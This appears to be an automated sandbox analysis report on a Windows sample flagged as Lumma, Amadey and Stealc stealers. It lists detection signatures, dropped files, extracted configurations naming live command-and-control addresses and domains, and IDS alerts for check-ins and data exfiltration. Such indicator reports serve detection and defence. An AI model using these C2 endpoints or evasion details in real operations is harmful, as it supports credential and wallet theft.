Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1540746
MD5: 85a42afebd3b50990c2588000aa36f8c
SHA1: f90e8f26bfe7b3a3a523df8bd205b4a461d06f00
SHA256: a6fb4829251c449d3896cf0ea7f0e513f043f29a5e6e7c7d9e735d030d43682c
Tags: exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Amadeys stealer DLL
Yara detected Credential Flusher
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
C2 URLs / IPs found in malware configuration
Creates multiple autostart registry keys
Disable Windows Defender notifications (registry)
Disable Windows Defender real time protection (registry)
Disables Windows Defender Tamper protection
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
LummaC encrypted strings found
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies windows update settings
PE file contains section with special chars
PE file has a writeable .text section
Query firmware table information (likely to detect VMs)
Sigma detected: New RUN Key Pointing to Suspicious Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Connects to many different domains
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Sigma detected: CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Uses taskkill to terminate processes
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Antivirus detection for URL or domain
Source: http://185.215.113.37/ URL Reputation: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\HR483MUGWRQ77A8EZ5D.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\PR9MM82BT6H8ASEPAAV3FFFU6W4.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Found malware configuration
Source: 00000006.00000003.2596824041.0000000005350000.00000004.00001000.00020000.00000000.sdmp Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 31.2.num.exe.fd0000.0.unpack Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 3f779c1cca.exe.6836.11.memstrmin Malware Configuration Extractor: LummaC {"C2 url": ["mobbipenju.store", "clearancek.site", "spirittunek.store", "bathdoomgaz.store", "dissapoiznw.store", "eaglepawnoy.store", "licendfilteo.site", "studennotediw.store"], "Build id": "4SD0y4--legendaryy"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\PR9MM82BT6H8ASEPAAV3FFFU6W4.exe ReversingLabs: Detection: 50%
Multi AV Scanner detection for submitted file
Source: file.exe ReversingLabs: Detection: 42%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 99.9% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\HR483MUGWRQ77A8EZ5D.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\QVVPAZNCIISWKSVDLM23B.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\PR9MM82BT6H8ASEPAAV3FFFU6W4.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49753 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49767 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49997 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49999 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50002 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50003 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50004 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50005 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50006 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50010 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50011 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:50012 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50014 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50015 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50018 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50021 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50029 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50036 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50042 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50044 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50064 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59409 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:59414 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59419 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59420 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:59424 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59427 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59429 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59432 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59433 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59434 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59436 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59438 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59439 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59452 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:59454 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59457 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59464 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59465 version: TLS 1.2
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 8Z5C764IBSHZ8A5U9SVRCREF.exe, 0000000D.00000002.3124576963.0000000000302000.00000040.00000001.01000000.0000000E.sdmp, 8Z5C764IBSHZ8A5U9SVRCREF.exe, 0000000D.00000003.2987877542.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, 70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe, 00000024.00000003.3210744266.00000000051B0000.00000004.00001000.00020000.00000000.sdmp
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Directory queried: number of queries: 1523
Source: firefox.exe Memory has grown: Private usage: 1MB later: 187MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:52641 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:62037 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:59230 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:56185 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:62282 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:50468 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:62851 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:51654 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49993 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49995 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:63559 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:51007 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:52330 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:60296 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:53903 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:54090 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:53629 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:49666 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49994
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49998 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50007 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50009 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:65410 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:56172 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:54802 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:58762 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:51188 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:59700 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:63847 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:61430 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50016 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50026 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50028 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50041 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50052 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:58339 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:60413 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:61578 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:53985 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:53415 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:49276 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:59706 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:61936 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:59425 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:59428 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:59437 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:59442 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49714 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49713 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49767 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49714 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49743 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49713 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:49711 -> 104.102.49.254:443
Source: Network traffic Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:49997 -> 104.102.49.254:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50014 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:50012 -> 104.102.49.254:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50014 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49999 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49999 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50015 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:49753 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50015 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50003 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:59424 -> 104.102.49.254:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:59436 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:59429 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:59429 -> 104.21.53.8:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:59439 -> 104.21.53.8:443
